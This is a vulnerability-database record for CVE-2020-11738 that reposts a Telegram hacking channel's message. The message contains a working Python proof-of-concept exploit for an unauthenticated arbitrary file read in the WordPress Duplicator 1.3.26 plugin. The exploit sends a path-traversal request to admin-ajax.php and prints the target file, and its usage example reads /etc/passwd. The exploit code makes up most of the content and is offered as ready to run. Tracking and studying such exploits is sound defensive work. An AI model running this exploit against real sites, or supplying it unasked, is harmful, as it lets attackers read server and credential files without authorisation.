{"uuid": "4e36a217-31ec-4049-9a60-1660f880d781", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-11738", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/28103", "content": "Exploit Collector\nWordPress Duplicator 1.3.26 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-vLPaJ0bXchM/WWlvcii8AuI/AAAAAAAAIPY/lohzKYQrhRkUA5ocnA3xRTtIEj7YZIM-ACLcBGAs/s1600/h77.png \nWordPress Duplicator plugin version 1.3.26 suffers from an unauthenticated arbitrary file read vulnerability.\n\nMD5 | 18669dd16268ad8eff125d1a41041c75\n\nDownload\n# Exploit Title: Wordpress Plugin Duplicator 1.3.26 - Unauthenticated Arbitrary File Read\n# Date: October 16, 2021\n# Exploit Author: nam3lum\n# Vendor Homepage: https://wordpress.org/plugins/duplicator/\n# Software Link: https://downloads.wordpress.org/plugin/duplicator.1.3.26.zip]\n# Version: 1.3.26\n# Tested on: Ubuntu 16.04\n# CVE : CVE-2020-11738\n\nimport requests as re\nimport sys\n\nif len(sys.argv) != 3:\nprint(\"Exploit made by nam3lum.\")\nprint(\"Usage: CVE-2020-11738.py http://192.168.168.167 /etc/passwd\")\nexit()\n\narg = sys.argv[1]\nfile = sys.argv[2]\n\nURL = arg + \"/wp-admin/admin-ajax.php?action=duplicator_download&file=../../../../../../../../..\" + file\n\noutput = re.get(url = URL)\nprint(output.text)\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-08T00:00:55.866984Z"}